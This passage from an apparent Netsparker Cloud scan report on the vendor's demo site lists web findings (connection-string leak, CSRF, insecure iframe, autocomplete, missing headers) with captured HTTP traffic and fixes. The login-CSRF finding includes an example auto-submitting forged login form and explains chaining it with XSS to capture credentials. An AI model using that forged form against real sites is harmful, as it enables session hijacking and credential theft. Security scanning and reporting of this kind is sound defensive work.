Menu%24contact%24txtMessage","Type":"Post","Value":"\r\n","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.482,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4886\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:23 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Contact

\r\n

\r\n You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. \r\n

\r\n
\r\n E-Mail\r\n
\r\n Message\r\n
\r\n
\r\n We received your message and contact details. We'll get back to you soon via e-mail.\r\n
\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Extracted Connection String","Value":"Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected a possible database connection string on your web server.

","Impact":"
Depending on the nature of the connection string disclosed, an attacker can mount one or more of the following types of attacks:
  • Access the database or other data resources. With the privileges of the account obtained; attempt to read, update or delete arbitrary data from the database.
  • Access password protected administrative mechanisms such as \"dashboard\", \"management console\" and \"admin panel\" potentially leading to full control of the application.
","RemedialActions":"

Remove all the database connection strings on the public web pages.

","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"OptionsMethodEnabled","Name":"OPTIONS Method Enabled","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"14","Cwe":"16","Capec":"107","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"OPTIONS","Content":"OPTIONS / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 0\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":100.0181,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nAllow: OPTIONS, TRACE, GET, HEAD, POST\r\nContent-Length: 0\r\nPublic: OPTIONS, TRACE, GET, HEAD, POST\r\nDate: Wed, 23 Aug 2017 07:46:09 GMT\r\n\r\n"},"ExtraInformation":[{"Name":"Allowed methods","Value":"OPTIONS, TRACE, GET, HEAD, POST"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected that OPTIONS method is allowed. This issue is reported as extra information.

","Impact":"
Information disclosed from this page can be used to gain additional information about the target system.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Disable OPTIONS method in all production systems.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"CsrfDetected","Name":"[Possible] Cross-site Request Forgery","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A8","Wasc":"9","Cwe":"352","Capec":"62","Pci31":"6.5.9","Pci32":"6.5.9","Hipaa":"164.306(a)"},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M%2fHadQgN1lyb6gNWlfovE&__VIEWSTATEGENERATOR=CA0B0334","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUKMTY3NDMzNzAwNWQYAQUpY3RsMDAkQ29udGVudFBsYWNlSG9sZGVyTmF2JG12TG9naW5Mb2dvdXQPD2RmZGy79Kq0Egj8KVaZgZ369F0M/HadQgN1lyb6gNWlfovE","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CA0B0334","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.007500000000007,"Content":"HTTP/1.1 200 OK\r\nSet-Cookie: TestCookie=Hello; path=/\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4512\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:43:38 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n \r\n \r\n \r\n

Bitcoin Web Site

\r\n

Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network. Bitcoin is open-source; its design is public, nobody owns or controls Bitcoin and everyone can take part. Through many of its unique properties, Bitcoin allows exciting uses that could not be covered by any previous payment system.\r\n

\r\n \r\n Instant peer-to-peer transactions
\r\n Worldwide payments
\r\n Zero or low processing fees
\r\n
\r\n
\r\n


\r\n

\r\n



\r\n \r\n\r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible Cross-Site Request Forgery.

CSRF is a very common vulnerability. It's an attack which forces a user to execute unwanted actions on a web application in which the user is currently authenticated.

","Impact":"
Depending on the application, an attacker can mount any of the actions that can be done by the user such as adding a user, modifying content, deleting data. All the functionality that’s available to the victim can be used by the attacker. Only exception to this rule is a page that requires extra information that only the legitimate user can know (such as user’s password).
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This \"validation token\" should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

  • If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

    • For native XMLHttpRequest (XHR) object in JavaScript;
      xhr = new XMLHttpRequest();\nxhr.setRequestHeader('custom-header', 'value');\n
      For JQuery, if you want to add a custom header (or set of headers) to

      a. individual request

      $.ajax({\n    url: 'foo/bar',\n    headers: { 'x-my-custom-header': 'some value' }\n});\n


      b. every request

      $.ajaxSetup({\n    headers: { 'x-my-custom-header': 'some value' }\n});\nOR\n$.ajaxSetup({\n    beforeSend: function(xhr) {\n        xhr.setRequestHeader('x-my-custom-header', 'some value');\n    }\n});\n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=%2fDashboard%2f","Type":"CsrfInLoginFormDetected","Name":"[Possible] Cross-site Request Forgery in Login Form","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A8","Wasc":"9","Cwe":"352","Capec":"62","Pci31":"6.5.9","Pci32":"6.5.9","Hipaa":"164.306(a)"},"HttpRequest":{"Method":"POST","Content":"POST /administrator/?r=%2fDashboard%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/?r=/Dashboard/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 556\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU%3d&__VIEWSTATEGENERATOR=6EB33A6B&__EVENTVALIDATION=%2fwEdAATIFiQc2tmrCF%2fDbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS%2fj0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G%2fVdyd7n0L954C0VEWnLng%3d&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1=Sign+in","Parameters":[{"Name":"r","Type":"Querystring","Value":"%2fDashboard%2f","Vulnerable":false},{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6EB33A6B","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAATIFiQc2tmrCF/DbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS/j0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G/Vdyd7n0L954C0VEWnLng=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1","Type":"Post","Value":"Sign in","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":98.4901,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5496\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:39 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

Login Failed. Please try again.

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Form Action(s)","Value":"?r=%2fDashboard%2f"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible Cross-Site Request Forgery in login form.

In a login CSRF attack, the attacker forges a login request to an honest site using the attacker’s user name and password at that site. If the forgery succeeds, the honest server responds with a Set-Cookie header that instructs the browser to mutate its state by storing a session cookie, logging the user into the honest site as the attacker. This session cookie is used to bind subsequent requests to the user’s session and hence to the attacker’s authentication credentials. The attacker can later log into the site with his legitimate credentials and view private information like activity history that has been saved in the account.

","Impact":"

In this particular case CSRF affects the login form in which the impact of this vulnerability is decreased significantly. Unlike normal CSRF vulnerabilities this will only allow an attacker to exploit some complex XSS vulnerabilities otherwise it can't be exploited.

For example;

If there is a page that's different for every user (such as \"edit my profile\") and vulnerable to XSS (Cross-site Scripting) then normally it cannot be exploited. However if the login form is vulnerable, an attacker can prepare a special profile, force victim to login as that user which will trigger the XSS exploit. Again attacker is still quite limited with this XSS as there is no active session. However the attacker can leverage this XSS in many ways such as showing the same login form again but this time capturing and sending the entered username/password to the attacker.

In this kind of attack, attacker will send a link containing html as simple as the following in which attacker's user name and password is attached.

<form method=\"POST\" action=\"http://honest.site/login\">\n  <input type=\"text\" name=\"user\" value=\"h4ck3r\" />\n  <input type=\"password\" name=\"pass\" value=\"passw0rd\" />\n</form>\n<script>\n    document.forms[0].submit();\n</script>\n    

When the victim clicks the link then form will be submitted automatically to the honest site and exploitation is successful, victim will be logged in as the attacker and consequences will depend on the website behavior.

  • Search History

    Many sites allow their users to opt-in to saving their search history and provide an interface for a user to review his or her personal search history. Search queries contain sensitive details about the user’s interests and activities and could be used by the attacker to embarrass the user, to steal the user’s identity, or to spy on the user. Since the victim logs in as the attacker, the victim's search queries are then stored in the attacker’s search history, and the attacker can retrieve the queries by logging into his or her own account.

  • Shopping

    Merchant sites might save the credit card details in user's profile. In login CSRF attack, when user funds a purchase and enrolls the credit card, the credit card details might be added to the attacker's account.

","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Send additional information in each HTTP request that can be used to determine whether the request came from an authorized source. This \"validation token\" should be hard to guess for attacker who does not already have access to the user's account. If a request is missing a validation token or the token does not match the expected value, the server should reject the request.

  • If you are posting form in ajax request, custom HTTP headers can be used to prevent CSRF because the browser prevents sites from sending custom HTTP headers to another site but allows sites to send custom HTTP headers to themselves using XMLHttpRequest.

    • For native XMLHttpRequest (XHR) object in JavaScript;
      xhr = new XMLHttpRequest();\nxhr.setRequestHeader('custom-header', 'value');\n
      For JQuery, if you want to add a custom header (or set of headers) to

      a. individual request

      $.ajax({\n    url: 'foo/bar',\n    headers: { 'x-my-custom-header': 'some value' }\n});\n


      b. every request

      $.ajaxSetup({\n    headers: { 'x-my-custom-header': 'some value' }\n});\nOR\n$.ajaxSetup({\n    beforeSend: function(xhr) {\n        xhr.setRequestHeader('x-my-custom-header', 'some value');\n    }\n});\n
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Contact.aspx","Type":"InsecureFrameExternal","Name":"Insecure Frame (External)","Severity":"Low","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /Contact.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Contact.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 509\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8%2fyR%2fM64ht6Yg%3d%3d&__VIEWSTATEGENERATOR=CD2448B2&__EVENTVALIDATION=%2fwEdAASIT%2fHRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ%2fhIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7%2fRJAs4%2bwetzxHt9jYp2WcV8wLebbRRFs%3d&ctl00%24contentCenterMenu%24contact%24txtMail=&ctl00%24contentCenterMenu%24contact%24btnSend=Send&ctl00%24contentCenterMenu%24contact%24txtMessage=%0d%0a","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwULLTE5MzQ2OTA4MTZkGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRHdoGWZ5F058rm0dVVeyzKRFiOSb0ji8/yR/M64ht6Yg==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"CD2448B2","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAASIT/HRHJfZV2mzKnDhaYkpgMT57wJGZcPJvCUpqsZ/hIIAafrtRnr8xDr2bkGeFl4iOJ2MbzrkcAOVDVGxawO4A7a2o7FReT7/RJAs4+wetzxHt9jYp2WcV8wLebbRRFs=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMail","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24btnSend","Type":"Post","Value":"Send","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24contact%24txtMessage","Type":"Post","Value":"\r\n","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":95.482,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4886\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:23 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Contact

\r\n

\r\n You can e-mail (mail@testsparker.com or sales@testsparker.com) us or fill out the following inquiry form. \r\n

\r\n
\r\n E-Mail\r\n
\r\n Message\r\n
\r\n
\r\n We received your message and contact details. We'll get back to you soon via e-mail.\r\n
\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Frame Source(s)","Value":"http://blockchain.info/"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an external insecure or misconfigured iframe.

","Impact":"

IFrame sandboxing enables a set of extra restrictions for the content in the inline frame.

Same Origin policy allows one window to access properties/functions of another one only if they come from the same protocol, the same port and also the same domain.
           \nURLs from the same origin:\n            \nhttp://site.com\nhttp://site.com/\nhttp://site.com/my/page.html\n        \nURLs not from the same origin:\n            \nhttp://www.site.com  (sub domain)\nhttp://site.org      (different domain)\nhttps://site.com     (different protocol)\nhttp://site.com:8080 (different port)\n    

When the sandbox attribute is set, the iframe content is treated as being from a unique origin and sandboxed content is re-hosted in the browser with the following restrictions:

  • Plugins are disabled. Any kind of ActiveX, Flash, or Silverlight plugin will not be executed.
  • Forms are disabled. The hosted content is not allowed to make forms post back to any target.
  • Scripts are disabled. JavaScript is disabled and will not execute.
  • Links to other browsing contexts are disabled. An anchor tag targeting different browser levels will not execute.
  • Unique origin treatment. All content is treated under a unique origin. The content is not able to traverse the DOM or read cookie information.

When not set or misconfigured sandbox or seamless attribute of an iframe for an untrusted URL:

  • Compromised website in the iframe might affect the users in parent web application.
  • Sandbox containing a value of :
    • allow-same-origin will not force the unique origin for iframe contents.
    • allow-top-navigation will allow iframe to navigate parent context, e.g. change parent.location.
    • allow-forms will allow forms submissions from inside iframe.
    • allow-popups will allow popups.
    • allow-scripts will allow malicious script execution however still disallow to create popups.
  • If seamless attribute is set, links within the iframe will navigate the parent frame.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Apply sandboxing in inline frame
    <iframe sandbox src=\"framed-page-url\"></iframe>\n
  • For untrusted content, avoid the usage of seamless attribute and allow-top-navigation, allow-popups and allow-scripts in sandbox attribute.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=%2fDashboard%2f","Type":"AutoCompleteEnabledPasswordField","Name":"Autocomplete Enabled (Password Field)","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /administrator/?r=%2fDashboard%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/?r=/Dashboard/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 556\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU%3d&__VIEWSTATEGENERATOR=6EB33A6B&__EVENTVALIDATION=%2fwEdAATIFiQc2tmrCF%2fDbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS%2fj0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G%2fVdyd7n0L954C0VEWnLng%3d&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1=Sign+in","Parameters":[{"Name":"r","Type":"Querystring","Value":"%2fDashboard%2f","Vulnerable":false},{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6EB33A6B","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAATIFiQc2tmrCF/DbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS/j0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G/Vdyd7n0L954C0VEWnLng=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1","Type":"Post","Value":"Sign in","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":98.4901,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5496\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:39 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

Login Failed. Please try again.

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Field Name","Value":"ctl00$contentCenterMenu$login_C_S_R_F_inLoginDetected$Password"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected that autocomplete is enabled in one or more of the password fields.

","Impact":"

If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

","RemedialActions":"
  1. Add the attribute autocomplete=\"off\" to the form tag or to individual \"input\" fields. However, since early 2014, major browsers don't respect this instruction, due to their integrated password management mechanism, and offer to users to store password internally.
  2. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.
","ExploitationSkills":"
First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.
","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/","Type":"MissingXFrameOptionsHeader","Name":"Missing X-Frame-Options Header","Severity":"Low","Certainty":90,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A5","Wasc":"","Cwe":"693","Capec":"103","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST / HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 178\r\nContent-Type: 